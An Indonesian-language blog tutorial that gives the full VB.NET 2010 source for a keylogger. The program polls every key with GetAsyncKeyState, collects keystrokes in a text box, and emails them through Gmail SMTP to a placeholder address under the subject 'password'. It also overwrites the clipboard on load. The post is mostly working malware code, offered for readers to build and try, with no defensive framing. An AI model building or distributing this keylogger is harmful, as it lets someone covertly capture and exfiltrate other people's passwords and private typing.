Keylogger send email/kirim ke email dengan vb 2010

Salam blogger, nah kali ini Kreasi Anak Bali akan share Cara Membuat Keylogger Send Email. tentunya info ini dishare secara gratis :). baiklah kita mulai tutorialnya:

1.Buat 2 Text Box (Namenya gak usah dirubah)

2.Buat 1 button

3.Klik kanan pada formnya kemudian masukkan kode:

Imports System.Net.Mail
Imports System.Web
Imports System.IO




Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetAnyncKeySync Lib "user32" (ByVal vKey As Long) As Integer
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        My.Computer.Clipboard.SetText("Haha")
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("uremail@gmail.com","password")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("uremail@anymailserver.com") <-- Email yang dituju
        mail.From = New MailAddress("nothere-mail@gmail.com") <-Email Dari:
        mail.Subject = "password"
        mail.Body = TextBox1.text & textbox2.text
        SmtpServer.Send(mail)
    End Sub
End Class

Untuk karya yang lebih baik. kreasikan sendiri ya kawan :). Terima kasih sudah membaca artikel ini :)

=Terima kasih dan selamat mencoba= 

Judul: Keylogger send email/kirim ke email dengan vb 2010; Ditulis oleh Dekgo; Rating Blog: 5 dari 5

Artikel Terkait: